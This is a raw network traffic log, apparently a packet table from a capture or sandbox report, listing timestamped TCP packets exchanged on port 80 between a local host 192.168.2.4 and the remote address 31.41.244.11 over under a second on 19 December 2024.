Dec 19, 2024 14:10:19.385158062 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.385211945 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.385324955 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.385369062 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.394104958 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.394174099 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.394203901 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.394248009 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.401252031 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.401271105 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.401303053 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.401321888 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.474097013 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.474173069 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.475974083 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.476021051 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.476164103 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.476208925 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.484510899 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.484582901 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.484705925 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.484747887 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.492820978 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.492885113 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.492922068 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.492965937 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.501194954 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.501240015 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.501322031 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.501364946 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.510122061 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.510189056 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.510204077 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.510246992 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.519299030 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.519366026 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.519382000 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.519426107 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.527085066 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.527160883 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.527261972 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.527307034 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.534837961 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.534914970 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.535001993 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.535041094 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.543332100 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.543386936 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.543415070 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.543440104 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.551691055 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.551737070 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.551762104 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.551779985 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.560216904 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.560298920 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.560457945 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.560507059 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.568491936 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.568536997 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.568578959 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.568620920 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.576915979 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.577006102 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.577019930 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.577059031 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.593763113 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.593810081 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.593810081 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.593846083 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.598030090 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.598073006 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.598094940 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.598140001 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.606329918 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.606372118 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.606462002 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.606508017 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.614551067 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.614569902 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.614628077 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.614856005 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.622641087 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.622714043 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.622786999 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.622828960 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.630255938 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.630306005 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.630433083 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.630475998 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.636024952 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.636038065 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.636116028 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.641472101 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.641520023 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.641556978 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.641599894 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.645917892 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.645929098 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.645992994 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.650811911 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.650867939 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.650943995 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.650986910 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.655848980 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.655944109 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.656028986 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.656073093 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.661145926 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.661155939 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.661202908 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.663975000 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.663988113 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.664036036 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.665258884 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.669101000 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.669194937 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.669254065 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.669254065 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.674827099 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.674880981 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.674984932 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.675026894 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.680105925 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.680124044 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.680175066 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.680191040 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.684645891 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.684658051 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.684696913 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.684712887 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.689485073 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.689546108 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.689645052 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.689690113 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.694586039 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.694642067 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.694772959 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.694819927 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.700596094 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.700611115 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.700664997 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.704246998 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.704410076 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.704431057 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.704463959 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.708899021 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.708983898 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.709158897 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.709255934 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.713416100 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.713486910 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.713511944 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.713561058 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.718031883 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.718106985 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.718142033 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.718193054 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.722640991 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.722719908 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.722723961 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.722776890 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.727176905 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.727247953 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.727494955 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.727583885 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.730173111 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.730245113 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.730277061 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.730331898 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.733067989 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.733127117 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.733170033 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.733221054 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.736033916 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.736093998 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.736135006 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.736186981 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.738982916 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.739053011 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.739088058 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.739144087 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.741930962 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.741985083 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.742036104 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.742084980 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.744863987 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.744925976 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.744955063 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.745004892 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.747766018 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.747826099 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.747848034 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.747900009 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.750710011 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.750803947 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.750844955 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.750891924 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.753669977 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.753694057 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.753720999 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.753736019 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.756613016 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.756632090 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.756669044 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.756686926 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.759695053 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.759743929 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.759774923 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.759824991 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.762655973 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.762708902 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.762847900 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.762897015 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.765439034 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.765490055 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.765554905 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.765607119 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.768395901 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.768450022 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.768570900 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.768625021 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.771251917 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.771306038 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.771471024 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.771521091 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.774108887 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.774162054 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.774235964 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.774286032 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.776936054 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.776989937 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.777023077 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.777070999 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.779676914 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.779727936 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.779927969 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.779985905 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.782418966 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.782481909 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.782490015 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.782541037 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.785072088 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.785125017 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.785157919 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.785207033 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.787765026 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.787817001 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.787841082 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.787894964 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.790369034 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.790424109 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.790620089 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.790668964 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.850684881 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.850786924 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.850843906 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.850894928 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.851136923 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.851186037 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.851336956 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.851387024 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.852963924 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.853029013 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.853090048 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.853137016 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.854321003 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.854372978 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.854597092 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.854643106 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.856005907 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.856070995 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.856125116 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.856173038 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.857965946 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.858028889 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.858086109 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.858134985 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.859683990 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.859745026 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.859765053 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.859812021 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.861356020 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.861417055 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.861458063 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.861504078 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.863147974 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.863204956 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.863204956 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.863250017 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.864862919 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.864934921 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.865150928 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.865197897 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.866677999 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.866743088 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.866822958 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.866873980 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.868480921 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.868541956 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.868820906 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.868892908 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.869823933 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.869879007 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.869967937 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.870016098 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.871480942 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.871551037 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.871562004 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.871598959 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.873509884 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.873572111 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.873579025 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.873625040 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.874893904 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.874950886 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.875005960 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.875057936 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.876287937 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.876338959 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.876394987 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.876446009 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.877768993 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.877844095 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.877872944 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.877922058 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.879853010 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.879930019 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.879945993 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.879998922 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.881546974 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.881608963 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.881767988 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.881815910 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.882972956 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.883033037 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.883121014 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.883172989 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.883972883 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.884025097 CET	49775	80	192.168.2.4	31.41.244.11
